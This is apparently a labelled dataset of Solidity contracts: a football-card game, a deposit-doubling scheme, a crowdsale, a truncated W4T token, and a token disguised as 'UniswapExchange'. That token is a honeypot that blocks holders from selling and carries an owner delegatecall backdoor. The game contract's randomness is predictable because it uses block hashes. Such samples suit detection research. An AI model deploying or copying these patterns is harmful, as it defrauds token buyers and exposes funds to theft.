function FMWorld(address _catalogPlayersAddress, address _playerTokenAddress, address _teamAddress) public {
catalogPlayersAddress = _catalogPlayersAddress;
playerTokenAddress = _playerTokenAddress;
teamAddress = _teamAddress;
ceoAddress = msg.sender;
cooAddress = msg.sender;
lastCalculationRewardTime = now;
}
function openBoxPlayer(uint256 _league, uint256 _position) external notPause isCalculatedReward payable returns (uint256 _price) {
if (now > 1525024800) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
_price = catalogPlayers.getBoxPrice(_league, _position);
balancesInternal[msg.sender] += msg.value;
if (balancesInternal[msg.sender] < _price) {
revert();
}
balancesInternal[msg.sender] = balancesInternal[msg.sender] - _price;
uint256 _classPlayerId = _getRandom(catalogPlayers.getLengthClassPlayers(_league, _position), lastPlayerOwner);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, msg.sender);
lastPlayerOwner = msg.sender;
balanceForReward += msg.value / 2;
deposits += msg.value / 2;
catalogPlayers.incrementCountSales(_league, _position);
if (now - lastCalculationRewardTime > 24 * 60 * 60 && balanceForReward > 10 ether) {
calculatedReward = false;
}
}
function _getRandom(uint256 max, address addAddress) view internal returns(uint256) {
return (uint256(block.blockhash(block.number-1)) + uint256(addAddress)) % max;
}
function _requireTalentSkills(uint256 _playerId, PlayerToken playerToken, uint256 _minTalent, uint256 _minSkills) internal view returns(bool) {
var (_talent, _tactics, _dribbling, _kick, _speed, _pass, _selection) = playerToken.getPlayer(_playerId);
if ((_talent < _minTalent) || (_tactics + _dribbling + _kick + _speed + _pass + _selection < _minSkills)) return false;
return true;
}
function createTeam(string _name, string _logo, uint32 _minTalent, uint32 _minSkills, uint256 _playerId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0);
require(_requireTalentSkills(_playerId, playerToken, _minTalent, _minSkills));
team.createTeam(_name, _logo, _minTalent, _minSkills, msg.sender, _playerId);
}
function joinTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.isTeam(_teamId));
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0 || team.getOwnerTeam(msg.sender) == _teamId);
uint256 _position = playerToken.getPosition(_playerId);
require(team.getCountPosition(_teamId, _position) < team.countPlayersInPosition());
require(_requireTalentSkills(_playerId, playerToken, team.getMinTalent(_teamId), team.getMinSkills(_teamId)));
_calcTeamBalance(_teamId, team, playerToken);
team.joinTeam(_teamId, msg.sender, _playerId, _position);
}
function leaveTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == _teamId);
_calcTeamBalance(_teamId, team, playerToken);
uint256 _position = playerToken.getPosition(_playerId);
team.leaveTeam(_teamId, msg.sender, _playerId, _position);
}
function withdraw(address _sendTo, uint _amount) external onlyCEO returns(bool) {
if (_amount > deposits) {
return false;
}
deposits -= _amount;
_sendTo.transfer(_amount);
return true;
}
function _calcTeamBalance(uint256 _teamId, Team team, PlayerToken playerToken) internal returns(bool){
if (balancesTeams[_teamId] == 0) {
return false;
}
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
for(uint256 i = 0; i < _countPlayers; i++) {
uint256 _playerId = team.getPlayerIdOfIndex(_teamId, i);
address _owner = playerToken.ownerOf(_playerId);
balancesInternal[_owner] += balancesTeams[_teamId] / _countPlayers;
}
balancesTeams[_teamId] = 0;
return true;
}
function withdrawEther() external returns(bool) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(msg.sender);
if (balancesTeams[_teamId] > 0) {
PlayerToken playerToken = PlayerToken(playerTokenAddress);
_calcTeamBalance(_teamId, team, playerToken);
}
if (balancesInternal[msg.sender] == 0) {
return false;
}
msg.sender.transfer(balancesInternal[msg.sender]);
balancesInternal[msg.sender] = 0;
}
function createPartnerPlayer(uint256 _league, uint256 _position, uint256 _classPlayerId, address _toAddress) external notPause isCalculatedReward onlyC {
if (countPartnerPlayers >= 300) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, _toAddress);
countPartnerPlayers++;
}
function calculationTeamsRewards(uint256[] orderTeamsIds) public onlyC {
Team team = Team(teamAddress);
if (team.getCountTeams() < 50) {
lastCalculationRewardTime = now;
calculatedReward = true;
return;
}
if (orderTeamsIds.length != team.getCountTeams()) {
revert();
}
for(uint256 teamIndex = 0; teamIndex < orderTeamsIds.length - 1; teamIndex++) {
if (team.getTeamSumSkills(orderTeamsIds[teamIndex]) < team.getTeamSumSkills(orderTeamsIds[teamIndex + 1])) {
revert();
}
}
uint256 k;
for(uint256 i = 1; i < 51; i++) {
if (i == 1) { k = 2000; }
else if (i == 2) { k = 1400; }
else if (i == 3) { k = 1000; }
else if (i == 4) { k = 600; }
else if (i == 5) { k = 500; }
else if (i == 6) { k = 400; }
else if (i == 7) { k = 300; }
else if (i >= 8 && i <= 12) { k = 200; }
else if (i >= 13 && i <= 30) { k = 100; }
else if (i >= 31) { k = 50; }
balancesTeams[orderTeamsIds[i - 1]] = balanceForReward * k / 10000;
}
balanceForReward = 0;
lastCalculationRewardTime = now;
calculatedReward = true;
}
function getSumWithdrawals() public view returns(uint256 sum) {
for(uint256 i = 0; i < 51; i++) {
sum += balancesTeams[i + 1];
}
}
function getBalance() public view returns (uint256 balance) {
uint256 balanceTeam = getBalanceTeam(msg.sender);
return balanceTeam + balancesInternal[msg.sender];
}
function getBalanceTeam(address _owner) public view returns(uint256 balanceTeam) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(_owner);
if (_teamId == 0) {
return 0;
}
uint256 _countPlayersOwner = team.getCountPlayersOfOwner(_teamId, _owner);
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
balanceTeam = balancesTeams[_teamId] / _countPlayers * _countPlayersOwner;
}
} | 1 | 3,194 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SmartDoubler {
using SafeMath for uint;
address public owner;
address marketing;
address admin;
mapping (address => uint) index;
mapping (address => mapping (uint => uint)) deposit;
mapping (address => mapping (uint => uint)) finish;
mapping (address => uint) checkpoint;
mapping (address => uint) refBonus;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
constructor(address _marketing, address _admin) public {
owner = msg.sender;
marketing = _marketing;
admin = _admin;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function refSystem() internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getInfo3(_referrer) > 0) {
marketing.transfer(msg.value * 6 / 100);
msg.sender.transfer(msg.value * 1 / 100);
refBonus[_referrer] += msg.value * 2 / 100;
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
} else {
marketing.transfer(msg.value * 9 / 100);
}
}
function getInterest() public view returns (uint) {
if (address(this).balance >= 5000e18) {
return 10;
}
if (address(this).balance >= 2500e18) {
return 9;
}
if (address(this).balance >= 1500e18) {
return 8;
}
if (address(this).balance >= 500e18) {
return 7;
} else {
return 6;
}
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable {
require(msg.value >= 50000000000000000);
admin.transfer(msg.value * 3 / 100);
if (getInfo3(msg.sender) + getInfo4(msg.sender) > 0) {
withdraw();
if (deposit[msg.sender][0] > 0) {
index[msg.sender] += 1;
}
}
checkpoint[msg.sender] = block.timestamp;
finish[msg.sender][index[msg.sender]] = block.timestamp + (20 * 1 days);
deposit[msg.sender][index[msg.sender]] = msg.value;
if (msg.data.length != 0) {
refSystem();
} else {
marketing.transfer(msg.value * 9 / 100);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout = refBonus[msg.sender];
refBonus[msg.sender] = 0;
for (uint i = 0; i <= index[msg.sender]; i++) {
if (checkpoint[msg.sender] < finish[msg.sender][i]) {
if (block.timestamp > finish[msg.sender][i]) {
_payout = _payout.add((deposit[msg.sender][i].mul(getInterest()).div(100)).mul(finish[msg.sender][i].sub(checkpoint[msg.sender])).div(1 days));
} else {
_payout = _payout.add((deposit[msg.sender][i].mul(getInterest()).div(100)).mul(block.timestamp.sub(checkpoint[msg.sender])).div(1 days));
}
}
}
if (_payout > 0) {
checkpoint[msg.sender] = block.timestamp;
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function getInfo1(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= index[_address]; i++) {
if (block.timestamp < finish[_address][i]) {
_sum += deposit[_address][i];
}
}
Invested = _sum;
}
function getInfo2(address _address, uint _number) public view returns(uint Deposit_N) {
if (block.timestamp < finish[_address][_number - 1]) {
Deposit_N = deposit[_address][_number - 1];
} else {
Deposit_N = 0;
}
}
function getInfo3(address _address) public view returns(uint Dividends) {
uint _payout;
for (uint i = 0; i <= index[_address]; i++) {
if (checkpoint[_address] < finish[_address][i]) {
if (block.timestamp > finish[_address][i]) {
_payout = _payout.add((deposit[_address][i].mul(getInterest()).div(100)).mul(finish[_address][i].sub(checkpoint[_address])).div(1 days));
} else {
_payout = _payout.add((deposit[_address][i].mul(getInterest()).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days));
}
}
}
Dividends = _payout;
}
function getInfo4(address _address) public view returns(uint Bonuses) {
Bonuses = refBonus[_address];
}
} | 0 | 1,311 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract AllocatedCrowdsale is Crowdsale {
address public beneficiary;
function AllocatedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, address _beneficiary) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
beneficiary = _beneficiary;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public constant returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public constant returns (uint) {
return token.allowance(owner, this);
}
function assignTokens(address receiver, uint tokenAmount) private {
if(!token.transferFrom(beneficiary, receiver, tokenAmount)) throw;
}
} | 0 | 1,111 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,931 |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract W4T {
string public name = 'W4T';
string public symbol = 'W4T';
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000000000000000000;
uint public miningReward = 1000000000000000000;
uint private randomNumber;
address public owner;
uint public domainPrice = 10000000000000000000;
uint public bytePrice = 100000000000000;
uint public premiumDomainK = 10;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public successesOf;
mapping (address => uint256) public failsOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (bytes8 => bool) public zones;
mapping (bytes8 => mapping (bytes32 => address)) public domains;
mapping (bytes8 => mapping (bytes32 => mapping (bytes32 => string))) public pages;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event ZoneRegister(bytes8 zone);
event DomainRegister(bytes8 zone, string domain, address owner);
event PageRegister(bytes8 zone, string domain, bytes32 path, string content);
event DomainTransfer(bytes8 zone, string domain, address owner);
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function W4T() public {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function transferOwnership(address newOwner) external onlyOwner {
owner = newOwner;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
